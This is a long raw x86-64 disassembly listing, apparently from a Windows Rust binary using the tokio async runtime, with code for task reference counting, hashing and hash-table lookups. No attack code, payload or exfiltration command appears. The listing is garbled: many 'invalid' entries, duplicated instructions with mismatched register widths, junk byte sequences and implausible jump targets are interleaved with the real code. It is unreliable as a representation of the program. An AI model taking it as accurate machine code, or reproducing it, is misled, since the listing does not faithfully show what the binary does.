jbe 0x14006de30
lea rcx, [rax - 0x40]
cmp rcx, 0x40
setb dl
or dl, 2
lock cmpxchg qword [rsi], rcx
jne 0x14006d7aa
movzx eax, dl
lea rcx, [0x1401746ec]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
invalid
loopne 0x14006d831
lea rax, [0x14014ae78]
lea eax, [0x14014ae78]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rsi
lea rax, [rsp + 0x30]
and al, 0x30
and al, 0x30
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rax
cmp dword [rsi + 0x30], 0xb
jae 0x14006de48
lea rdi, [rsi + 0x30]
mov rbx, qword [rsi + 0x28]
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
mov dh, 0x80
and byte [rcx], al
add byte [rax], al
add dword [rax], eax
add byte [rbx + 0x357401f8], al
cmp eax, 1
je 0x14006d86e
xorps xmm6, xmm6
test eax, eax
jne 0x14006d89a
mov eax, dword [0x14017d2b4]
outsb dx, byte [rsi]
cli
adc byte [rax], al
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
ror dword [rcx - 0x73], 0x8e
rol byte [rax], 1
add byte [rax], al
ror dword [rcx - 0x73], 0x8e
rol byte [rax], 1
add byte [rax], al
lea rdx, [0x1400e46c0]
lea edx, [0x1400e46c0]
call fcn.1400d3ad0
mov byte [r14 + 0x120], 1
mov eax, dword [0x14017d2b4]
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rbx
lea rdx, [rsp + 0x40]
push rsp
and al, 0x40
mov rcx, rdi
call fcn.14006c090
mov ecx, dword [0x14017d2b4]
adc byte [rax], al
adc byte [rax], al
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
or al, 0xca
movzx ecx, byte [rcx + 0x120]
mov dh, 0x89
and byte [rcx], al
add byte [rax], al
cmp ecx, 1
je case.0x14005d242.53
test ecx, ecx
jne 0x14006d918
mov ecx, dword [0x14017d2b4]
or eax, 0x10f9e4
mov rdx, qword gs:[0x58]
mov r14, qword [rdx + rcx*8]
xor al, 0xca
xor al, 0xca
lea rcx, [r14 + 0xd0]
lea rdx, [0x1400e46c0]
mov ebx, eax
call fcn.1400d3ad0
mov eax, ebx
mov byte [r14 + 0x120], 1
mov ecx, dword [0x14017d2b4]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
movups xmmword [rcx + 0xf0], xmm6
lock add byte [rax], al
invalid
lock add byte [rax], al
add byte [rcx + 0xfc08401], dh
test byte [rdx], cl
add al, byte [rax]
add byte [rax - 0x77], cl
add byte [rax], al
mov cl, 1
test al, al
je 0x14006db2a
mov rcx, rsi
mov ecx, esi
int1
call fcn.1400e7430
movzx eax, al
lea rcx, [0x1401746fc]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov rcx, qword [rsi + 0x20]
mov rdx, rsi
call fcn.1400eb0b0
mov rax, 0xffffffffffffffc0
invalid
push rax
xadd qword [rsi], rax
cmp rax, 0x3f
jbe 0x14006de80
invalid
invalid
add byte [rax - 0x7d], cl
loopne 0x14006d921
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne case.0x14006d939.0
lea rcx, [rsi + 0x20]
lea ecx, [rsi + 0x20]
mov rax, qword [rcx]
lock dec qword [rax]
jne 0x14006d97d
call fcn.140069ba0
dec dword [rax - 0x77]
stc
mov rcx, rdi
jmp 0x14006d999
mov rax, qword [rsi + 0x20]
lock dec qword [rax]
jne 0x14006d995
lea rcx, [rsi + 0x20]
call fcn.140069ba0
lea rcx, [rsi + 0x30]
call fcn.14006d390
mov rax, qword [rsi + 0x1f8]
test rax, rax
je 0x14006d9b4
mov rcx, qword [rsi + 0x200]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x14017d208]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp case.0x14006d939.0
mov rdi, qword [rsi + 0x28]
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x14006da23
xorps xmm6, xmm6
test eax, eax
jne 0x14006da4f
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd0]
lea rdx, [0x1400e46c0]
call fcn.1400d3ad0
mov byte [rbx + 0x120], 1
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rdi
lea rdi, [rsi + 0x30]
mov rcx, rdi
call fcn.14006d390
mov qword [rsi + 0x30], 0xc
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x14006dab7
test eax, eax
jne 0x14006dcea
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd0]
lea rdx, [0x1400e46c0]
call fcn.1400d3ad0
mov byte [rbx + 0x120], 1
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf0], xmm6
mov rbx, qword [rsi + 0x28]
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rbx
mov rcx, rdi
call fcn.14006d390
mov qword [rsi + 0x30], 0xb
mov qword [rsi + 0x38], 1
mov qword [rsi + 0x40], 0
mov qword [rsi + 0x50], rbx
jmp 0x14006dc63
mov rbx, qword [rsi + 0x28]
cmp cl, 1
je 0x14006db6b
movzx eax, cl
xorps xmm6, xmm6
test eax, eax
jne 0x14006db97
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd0]
lea rdx, [0x1400e46c0]
call fcn.1400d3ad0
mov byte [r14 + 0x120], 1
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
not dword [r8]
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
lock add byte [rax], al
add byte [rax - 0x39], cl
xor al, 0
add byte [rax], al
add dword [rax], eax
add byte [rax], al
ror dword [rdi], 0x10
mov al, 0xf0
lock add byte [rax], al
lock add byte [rax], al
add byte [rax - 0x39], cl
xor al, 0
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov qword [rax + 0xf8], rbx
mov dword [rax + 0xf8], ebx
add byte [rax], al
mov rcx, rdi
call fcn.14006d390
mov qword [rdi], 0xc
add byte [rbx + 0x10f70805], cl
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
add byte [rbx + 0x10f70805], cl
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x14006dbfa
test eax, eax
jne 0x14006dd35
and byte [rcx], al
add byte [rax], al
add dword [rbx + 0x10f6b405], ecx
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
pop rax
add byte [rax], al
invalid
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
pop rax
add byte [rax], al
invalid
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf0], xmm6
mov rbx, qword [rsi + 0x28]
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
adc byte [rax + 0xf0], dh
adc byte [rax + 0xf0], dh
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rbx
clc
add byte [rax], al
add byte [rax - 0x77], cl
mov ecx, edi
clc
add byte [rax], al
add byte [rax - 0x77], cl
mov ecx, edi
mov ecx, edi
call fcn.14006d390
mov qword [rsi + 0x30], 0xb
xorps xmm0, xmm0
push rdi
ror byte [rdi], 0x11
cmp byte [rax - 0x39], r9b
add byte [rax], al
add byte [rax], al
push rdi
ror byte [rdi], 0x11
cmp byte [rax - 0x39], r9b
add byte [rax], al
add byte [rax], al
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
not byte [r8]
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
ror dword [rdi], 0xb6
and byte [rax], 1
add byte [rax], al
cmp eax, 1
je 0x14006dcb3
test eax, eax
jne 0x14006dccd
invalid
mov r8d, dword [0x14017d2b4]
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd0]
lea rdx, [0x1400e46c0]
call fcn.1400d3ad0
mov byte [rdi + 0x120], 1
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf0], xmm6
ror dword [rdi], 0x11
mov al, 0xf0
add byte [rax], al
add byte [rax - 0x77], cl
int1
mov rcx, rsi
call fcn.14006e490
movaps xmm6, xmmword [rsp + 0x80]
add rsp, 0x98
pop rbx
pop rdi
pop rsi
pop r14
ret
mov rbx, qword [rsi + 0x28]
cmp eax, 1
add dword [rdi], ecx
test dh, bl
std
invalid
invalid
add dword [rdi], ecx
test dh, bl
std
invalid
xorps xmm6, xmm6
test eax, eax
jne 0x14006db01
invalid
invalid
invalid
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
add byte [rbx + rcx*4 + 0x34], cl
ror dword [rcx - 0x73], 0x8e
rol byte [rax], 1
add byte [rax], al
add byte [rbx + rcx*4 + 0x34], cl
ror dword [rcx - 0x73], 0x8e
rol byte [rax], 1
add byte [rax], al
lea rdx, [0x1400e46c0]
call fcn.1400d3ad0
mov byte [r14 + 0x120], 1
jmp 0x14006dad5
imul eax, dword [rdi], 0x5da8e800
invalid
pop rbp
invalid
lea rcx, str.assertion_failed:_next.is_notified__C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_task_state.rs
lea r8, [0x14014ab00]
mov edx, 0x24
call fcn.1401046f0
lea rcx, str.assertion_failed:_self.ref_count_____0
lea r8, [0x14014ae60]
mov edx, 0x26
call fcn.1401046f0
lea rax, str.internal_error:_entered_unreachable_code:_unexpected_stage
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 1
lea rax, [rsp + 0x28]
mov qword [rsp + 0x60], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
lea rcx, [rsp + 0x50]
call fcn.140104620
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x14014ad98]
mov edx, 0x27
call fcn.1401046f0
int3
movzx eax, byte [r14 + r15]
lea ecx, [rax - 0x41]
cmp cl, 0x1a
setb cl
shl cl, 5
add eax, 0x4c88c108
and al, 0x28
add eax, 0x4c88c108
and al, 0x28
mov r8d, 1
mov rcx, rsi
mov rdx, rdi
call fcn.14001f360
inc r15
cmp rbx, r15
jne 0x14006ef00
mov rcx, qword [rsp + 0x40]
mov r9, qword [rsp + 0x60]
shl r9, 0x38
or r9, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x48]
mov rax, qword [rsp + 0x30]
add rax, rcx
rol rcx, 0xd
xor rdx, r9
xor rcx, rax
rol rax, 0x20
mov r8, qword [rsp + 0x38]
add r8, rdx
rol rdx, 0x10
xor rdx, r8
add rax, rdx
rol rdx, 0x15
add r8, rcx
rol rcx, 0x11
xor rdx, rax
xor rcx, r8
rol r8, 0x20
xor rax, r9
add rax, rcx
rol rcx, 0xd
xor rcx, rax
rol rax, 0x20
xor r8, 0xff
add r8, rdx
rol rdx, 0x10
xor rdx, r8
add rax, rdx
rol rdx, 0x15
add r8, rcx
rol rcx, 0x11
xor rcx, r8
rol r8, 0x20
xor rdx, rax
add rax, rcx
rol rcx, 0xd
xor rcx, rax
rol rax, 0x20
add r8, rdx
rol rdx, 0x10
xor rdx, r8
add rax, rdx
rol rdx, 0x15
add r8, rcx
rol rcx, 0x11
xor rcx, r8
rol r8, 0x20
xor rdx, rax
add rax, rcx
rol rcx, 0xd
add r8, rdx
rol rdx, 0x10
xor rdx, r8
rol rdx, 0x15
xor rcx, rax
add r8, rcx
rol rcx, 0x11
mov rax, r8
rol rax, 0x20
xor rax, rcx
xor rax, rdx
xor rax, r8
add rsp, 0x78
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
jne 0x14006f285
cmp qword [r10 + 0x58], 0
je 0x14006f285
mov rcx, qword [r10 + 0x60]
mov rdx, qword [r10 + 0x68]
mov rdi, qword [rsp + 0x58]
mov r8, rdi
mov rsi, r10
call fcn.14006edb0
mov rcx, qword [rsi + 0x40]
mov rdx, qword [rsi + 0x48]
mov r9, rax
shr r9, 0x39
jmp 0x14f4856d6
outsb dx, byte [rsi]
shl dword [rsi + 0xf], 0x60
sal dl, 0xf
jo 0x14006f067
invalid
invalid
jmp 0x14f4856d6
rol byte [rax], 0x66
pshufw mm0, mm0, 0
pshufd xmm0, xmm0, 0
movzx r8d, byte [rdi]
mov r9, qword [rdi + 8]
mov ecx, dword [rdi + 8]
mov ecx, dword [rdi + 8]
mov qword [rsp + 0x30], r9
movzx r9d, byte [rdi + 1]
mov byte [rsp + 0x70], r9b
mov rsi, qword [rdi + 0x18]
mov rdi, qword [rdi + 0x20]
xor r9d, r9d
mov qword [rsp + 0x50], r9
pcmpeqd xmm1, xmm1
mov dword [rsp + 0x68], r8d
and rax, rdx
movdqu xmm2, xmmword [rcx + rax]
movdqa xmm3, xmm2
pcmpeqb xmm3, xmm0
pmovmskb ebp, xmm3
test ebp, ebp
jne 0x14006f14f
pcmpeqb xmm2, xmm1
pmovmskb ebx, xmm2
test ebx, ebx
mov r10, qword [rsp + 0x48]
jne 0x14006f285
mov r9, qword [rsp + 0x50]
add rax, r9
add rax, 0x10
add r9, 0x10
mov qword [rsp + 0x50], r9
mov dword [rsp + 0x50], ecx
mov dword [rsp + 0x50], ecx
jmp 0x14006f0dd
add byte [rax], al
add byte [rax], al
add byte [rbx + rbx*8 + 0x131e840f], al
add byte [rax], al
test bl, bl
je 0x140070456
lea ebp, [r14 - 1]
and ebp, r14d
test bp, bp
mov rcx, rdx
mov rdx, r9
mov r8d, dword [rsp + 0x68]
je 0x14006f0f5
mov r14d, ebp
tzcnt ebx, r14d
add rbx, rax
mov r9, rdx
and rbx, rdx
neg rbx
lea rbx, [rbx + rbx*8]
mov rdx, rcx
lea r15, [rcx + rbx*8]
cmp r8d, 1
je 0x14006f200
cmp r8d, 2
jne 0x140070456
movzx ebx, byte [r15 - 0x48]
cmp bl, 2
jne 0x14006f130
mov rcx, qword [rsp + 0x30]
mov r12, qword [rcx + 0x10]
mov rbx, qword [r15 - 0x40]
cmp r12, qword [rbx + 0x10]
jne 0x14006f138
mov rcx, qword [rsp + 0x30]
mov r13, qword [rcx + 8]
mov rbp, qword [rbx + 8]
xor ebx, ebx
nop
cmp r12, rbx
je 0x14006f22b
movzx r11d, byte [r13 + rbx]
movzx r10d, byte [rbp + rbx]
inc rbx
lea ecx, [r11 - 0x41]
cmp cl, 0x1a
setb cl
shl cl, 5
lea r8d, [r10 - 0x41]
cmp r8b, 0x1a
setb r8b
shl r8b, 5
or cl, r11b
or r8b, r10b
cmp cl, r8b
je 0x14006f1b0
jmp 0x14006f138
movzx ebx, byte [r15 - 0x48]
cmp bl, 1
jne 0x14006f130
movzx ebx, byte [r15 - 0x47]
cmp byte [rsp + 0x70], 0
je 0x14006f223
test bl, bl
jne 0x14006f22b
jmp 0x14006f138
test bl, bl
jne 0x14006f138
cmp rdi, qword [r15 - 0x28]
jne 0x14006f138
mov r15, qword [r15 - 0x30]
xor ebx, ebx
nop dword [rax + rax]
cmp rdi, rbx
je 0x14006f869
movzx ecx, byte [rsi + rbx]
movzx r8d, byte [r15 + rbx]
inc rbx
lea r10d, [rcx - 0x41]
cmp r10b, 0x1a
setb r10b
shl r10b, 5
lea r11d, [r8 - 0x41]
cmp r11b, 0x1a
setb r11b
shl r11b, 5
or r10b, cl
or r11b, r8b
cmp r10b, r11b
je 0x14006f240
jmp 0x14006f138
mov rax, qword [rsp + 0x60]
mov rcx, qword [rax + 0x30]
mov qword [rsp + 0xb0], rcx
movdqu xmm0, xmmword [rax]
movdqu xmm1, xmmword [rax + 0x10]
movdqu xmm2, xmmword [rax + 0x20]
movdqa xmmword [rsp + 0xa0], xmm2
movdqa xmmword [rsp + 0x90], xmm1
movdqa xmmword [rsp + 0x80], xmm0
lea rcx, [r10 + 0x70]
mov qword [rsp + 0x188], rcx
mov rdx, qword [rsp + 0x58]
call fcn.14006e780
test rax, rax
je 0x14006f8b3
mov r15, rax
mov rax, qword [rax + 0x18]
test rax, rax
je 0x14006f878
xor esi, esi
jmp 0x14006f36f
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], r14
mov byte [rsp + 0x90], sil
mov eax, dword [rsp + 0x38]
mov ecx, dword [rsp + 0x3b]
lea rdx, [rsp + 0xb2]
mov dword [rdx - 0x1e], ecx
mov dword [rdx - 0x21], eax
mov qword [rsp + 0x98], rbp
mov qword [rsp + 0xa0], rdi
mov qword [rsp + 0xa8], rbx
movzx eax, byte [rsp + 0x30]
mov byte [rsp + 0xb0], al
mov byte [rsp + 0xb1], r12b
movzx eax, word [rsp + 0x2c]
mov word [rdx + 4], ax
mov eax, dword [rsp + 0x28]
mov dword [rdx], eax
xor esi, esi
mov rax, qword [r15 + 0x18]
test rax, rax
je 0x14006f878
mov rcx, qword [r15 + 0x10]
lea rdx, [rcx + 1]
mov r8, qword [r15]
mov r9, qword [r15 + 8]
cmp rdx, r8
cmovb r8, rsi
neg r8
lea rdx, [rcx + r8]
inc rdx
mov qword [r15 + 0x10], rdx
dec rax
mov qword [r15 + 0x18], rax
mov r13, qword [r9 + rcx*8]
movzx eax, byte [r13 + 0x80]
test al, al
je 0x14006f400
mov al, 1
xchg byte [r13 + 0x80], al
mov al, 1
xchg byte [r13 + 0x60], al
test al, al
jne 0x14006f3de
mov rax, qword [r13 + 0x50]
mov rcx, qword [r13 + 0x58]
mov qword [r13 + 0x50], 0
mov edx, 0
xchg byte [r13 + 0x60], dl
test rax, rax
je 0x14006f3de
call qword [rax + 8]
mov al, 1
xchg byte [r13 + 0x78], al
test al, al
je 0x14006f4b0
lock dec qword [r13]
jne 0x14006f362
jmp 0x14006f4d9
mov qword [rsp + 0x138], r14
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x60], rbp
movzx r12d, byte [rsp + 0xb1]
mov byte [rsp + 0xb1], 2
cmp r12b, 2
je 0x140070475
mov r9, qword [rsp + 0x80]
mov r14, qword [rsp + 0x88]
movzx esi, byte [rsp + 0x90]
mov rbp, qword [rsp + 0x98]
mov rdi, qword [rsp + 0xa0]
mov rbx, qword [rsp + 0xa8]
movzx r11d, byte [rsp + 0xb0]
cmp sil, 2
jne 0x14006f4e6
mov byte [rsp + 0x27], r11b
mov byte [rsp + 0x178], sil
test rbp, rbp
je 0x14006f548
mov rcx, rbp
mov esi, r12d
mov r12, r9
call qword [rdi + 0x18]
mov r9, r12
mov r12d, esi
lock inc qword [rbx]
jg 0x14006f554
jmp 0x14007046e
mov rax, qword [r13 + 0x68]
mov rcx, qword [r13 + 0x70]
mov qword [r13 + 0x68], 0
test rax, rax
je 0x14006f4c8
call qword [rax + 0x18]
xor eax, eax
xchg byte [r13 + 0x78], al
lock dec qword [r13]
jne 0x14006f362
mov rcx, r13
call fcn.1400672e0
jmp 0x14006f362
lea r8, [rsp + 0xb2]
movzx eax, word [r8 + 4]
mov word [rsp + 0x144], ax
mov ecx, dword [r8]
mov dword [rsp + 0x140], ecx
mov edx, dword [r8 - 0x21]
mov r8d, dword [r8 - 0x1e]
mov dword [rsp + 0xc0], edx
mov dword [rsp + 0xc3], r8d
mov edx, dword [rsp + 0xc0]
mov r8d, dword [rsp + 0xc3]
mov dword [rsp + 0x190], edx
mov dword [rsp + 0x193], r8d
mov dword [rsp + 0x78], ecx
mov word [rsp + 0x7c], ax
jmp 0x14006f5d3
xor eax, eax
lock inc qword [rbx]
jle 0x14007046e
lock inc qword [r9]
movzx esi, byte [rsp + 0x178]
movzx r11d, byte [rsp + 0x27]
jle 0x14007046e
lock inc qword [r14 + 0x1c8]
lock inc qword [r14]
jle 0x14007046e
lea r8, [rsp + 0xb2]
movzx ecx, word [r8 + 4]
mov word [rsp + 0x144], cx
mov ecx, dword [r8]
mov dword [rsp + 0x140], ecx
mov qword [rsp + 0x98], rbp
mov qword [rsp + 0xa0], rdi
mov qword [rsp + 0xa8], rbx
mov byte [rsp + 0xb0], r11b
mov byte [rsp + 0x90], 2
mov byte [rsp + 0xb1], r12b
mov rbp, rax
mov rdi, rdx
mov eax, dword [rsp + 0x190]
mov ecx, dword [rsp + 0x193]
mov dword [rsp + 0xc0], eax
mov dword [rsp + 0xc3], ecx
mov eax, dword [rsp + 0x78]
mov dword [rsp + 0x140], eax
movzx eax, word [rsp + 0x7c]
mov word [rsp + 0x144], ax
movzx eax, byte [r13 + 0x80]
test al, al
jne 0x14006f621
mov al, 1
xchg byte [r13 + 0x48], al
test al, al
je 0x14006f736
mov eax, dword [rsp + 0xc0]
mov ecx, dword [rsp + 0xc3]
mov dword [rsp + 0x3b], ecx
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x140]
mov dword [rsp + 0x28], eax
movzx eax, word [rsp + 0x144]
mov word [rsp + 0x2c], ax
mov byte [rsp + 0x30], r11b
mov qword [rsp + 0x68], r9
mov al, 1
xchg byte [r13 + 0x80], al
add byte [rax], al
add byte [rax], al
mov al, 1
xchg byte [r13 + 0x60], al
test al, al
jne 0x14006f68d
mov rax, qword [r13 + 0x50]
mov rcx, qword [r13 + 0x58]
mov qword [r13 + 0x50], 0
mov edx, 0
xchg byte [r13 + 0x60], dl
test rax, rax
je 0x14006f68d
call qword [rax + 8]
mov al, 1
xchg byte [r13 + 0x78], al
test al, al
je 0x14006f6d7
lock dec qword [r13]
jne 0x14006f700
mov rcx, r13
call fcn.1400672e0
movzx ecx, byte [rsp + 0xb1]
cmp r12b, 2
mov byte [rsp + 0x130], sil
je 0x14006f716
cmp cl, 2
je 0x14006f2f2
lea rcx, [rsp + 0x80]
call fcn.140067350
jmp 0x14006f2f2
mov rax, qword [r13 + 0x68]
mov rcx, qword [r13 + 0x70]
mov qword [r13 + 0x68], 0
test rax, rax
je 0x14006f6ef
call qword [rax + 0x18]
xor eax, eax
xchg byte [r13 + 0x78], al
lock dec qword [r13]
je 0x14006f69e
nop dword [rax]
movzx ecx, byte [rsp + 0xb1]
cmp r12b, 2
mov byte [rsp + 0x130], sil
jne 0x14006f6bc
mov rax, qword [r15 + 0x18]
cmp cl, 2
je 0x14006f873
test rax, rax
mov esi, 0
jne 0x14006f36f
jmp 0x14006f878
cmp byte [r13 + 0x41], 2
jne 0x14007048d
mov qword [r13 + 0x10], r9
mov qword [r13 + 0x18], r14
mov byte [r13 + 0x20], sil
mov eax, dword [rsp + 0xc0]
mov ecx, dword [rsp + 0xc3]
mov dword [r13 + 0x21], eax
mov dword [r13 + 0x24], ecx
mov qword [r13 + 0x28], rbp
mov qword [r13 + 0x30], rdi
mov qword [r13 + 0x38], rbx
mov byte [r13 + 0x40], r11b
mov byte [r13 + 0x41], r12b
mov eax, dword [rsp + 0x140]
mov dword [r13 + 0x42], eax
movzx eax, word [rsp + 0x144]
mov word [r13 + 0x46], ax
xor eax, eax
xchg byte [r13 + 0x48], al
movzx eax, byte [r13 + 0x80]
mov r12b, 2
test al, al
je case.0x14001a36d.2297
mov al, 1
xchg byte [r13 + 0x48], al
test al, al
mov rbp, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x70]
mov rbx, qword [rsp + 0x50]
mov r14, qword [rsp + 0x138]
movzx esi, byte [rsp + 0x130]
jne 0x14006f659
movzx r12d, byte [r13 + 0x41]
mov byte [r13 + 0x41], 2
cmp r12b, 2
jne 0x14006f813
xor eax, eax
xchg byte [r13 + 0x48], al
mov r12b, 2
jmp 0x14006f659
mov rbp, qword [rsp + 0x60]
insb byte [rdi], dx
and al, 0x60
mov rdi, qword [rsp + 0x70]
mov rbx, qword [rsp + 0x50]
pop rsp
and al, 0x50
pop rsp
and al, 0x50
mov r14, qword [rsp + 0x138]
movzx esi, byte [rsp + 0x130]
jmp 0x14006f659
lea rax, [r13 + 0x21]
lea rcx, [r13 + 0x42]
mov rdx, qword [r13 + 0x10]
mov qword [rsp + 0x68], rdx
mov r14, qword [r13 + 0x18]
movzx esi, byte [r13 + 0x20]
mov edx, dword [rax]
mov eax, dword [rax + 3]
mov dword [rsp + 0x3b], eax
mov dword [rsp + 0x38], edx
mov rbp, qword [r13 + 0x28]
mov rdi, qword [r13 + 0x30]
mov rbx, qword [r13 + 0x38]
movzx eax, byte [r13 + 0x40]
mov byte [rsp + 0x30], al
movzx eax, word [rcx + 4]
mov word [rsp + 0x2c], ax
mov eax, dword [rcx]
mov dword [rsp + 0x28], eax
xor eax, eax
xchg byte [r13 + 0x48], al
jmp 0x14006f659
mov rcx, qword [rsp + 0x60]
jmp 0x14007026c
test rax, rax
test eax, eax
jne 0x14006f8b3
lea rcx, [rsp + 0xc0]
mov rdx, qword [rsp + 0x188]
mov r8, qword [rsp + 0x58]
call fcn.14006ea00
movabs rax, 0x8000000000000000
cmp qword [rsp + 0xc0], rax
je 0x14006f8b3
lea rcx, [rsp + 0xc0]
call fcn.1400670f0
cmp byte [rsp + 0xb1], 2
je 0x140070271
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0x1c0], rax
movaps xmm0, xmmword [rsp + 0x80]
movdqa xmm1, xmmword [rsp + 0x90]
movdqa xmm2, xmmword [rsp + 0xa0]
movdqa xmmword [rsp + 0x1b0], xmm2
movdqa xmmword [rsp + 0x1a0], xmm1
movaps xmmword [rsp + 0x190], xmm0
mov r9, qword [rsp + 0x58]
movzx edi, byte [r9]
test edi, edi
je 0x14006f959
cmp edi, 2
jne 0x14006f95b
movzx eax, byte [0x14017d2b0]
mov edx, 0x20
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x1400704a5
mov rbx, rax
mov rsi, qword [rsp + 0x58]
mov rax, qword [rsi + 8]
lea rdx, [rax + 0x18]
mov r10, qword [rax]
mov r8, qword [rax + 8]
mov r9, qword [rax + 0x10]
mov rcx, rbx
call qword [r10]
mov r9, rsi
jmp 0x14006f959
jmp 0x14006f960
movzx eax, byte [r9 + 1]
mov byte [rsp + 0xc0], dil
mov byte [rsp + 0x60], al
mov byte [rsp + 0xc1], al
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0xc8], rbx
lea rcx, [rsp + 0xd0]
lea rdx, [r9 + 0x28]
mov rax, qword [r9 + 0x10]
mov r8, qword [r9 + 0x18]
mov r9, qword [r9 + 0x20]
call qword [rax]
mov rsi, qword [rsp + 0x48]
lea rax, [rsi + 0x40]
mov qword [rsp + 0x50], rax
mov rcx, qword [rsi + 0x60]
mov rdx, qword [rsi + 0x68]
lea r8, [rsp + 0xc0]
call fcn.14006edb0
mov rdx, rax
shr rdx, 0x39
mov rcx, qword [rsi + 0x40]
mov rbx, qword [rsi + 0x48]
mov r12, rbx
mov qword [rsp + 0x178], rax
and r12, rax
mov qword [rsp + 0x138], rdx
movd xmm0, edx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm0, xmm0, 0
mov r9, qword [rsp + 0xd8]
mov r10, qword [rsp + 0xe0]
xor eax, eax
pcmpeqd xmm1, xmm1
mov qword [rsp + 0x130], r12
mov qword [rsp + 0x68], rbx
mov qword [rsp + 0x70], rax
movdqu xmm2, xmmword [rcx + r12]
movdqa xmm3, xmm2
pcmpeqb xmm3, xmm0
pmovmskb esi, xmm3
test esi, esi
jne 0x14006fa82
pcmpeqb xmm2, xmm1
pmovmskb r11d, xmm2
test r11d, r11d
mov rax, qword [rsp + 0x70]
jne 0x14007013d
add r12, rax
add r12, 0x10
add rax, 0x10
and r12, rbx
jmp 0x14006fa17
cmp edi, 1
je 0x14006fb20
test edi, edi
je 0x140070456
lea esi, [r13 - 1]
and esi, r13d
test si, si
mov rbx, qword [rsp + 0x68]
je 0x14006fa32
mov r13d, esi
tzcnt r11d, r13d
add r11, r12
and r11, rbx
neg r11
lea r11, [r11 + r11*8]
lea rbx, [rcx + r11*8]
movzx r11d, byte [rcx + r11*8 - 0x48]
cmp r11d, 1
je 0x14006fa60
cmp r11d, 2
jne 0x140070456
cmp edi, 2
jne 0x14006fa69
mov r11, qword [rbx - 0x40]
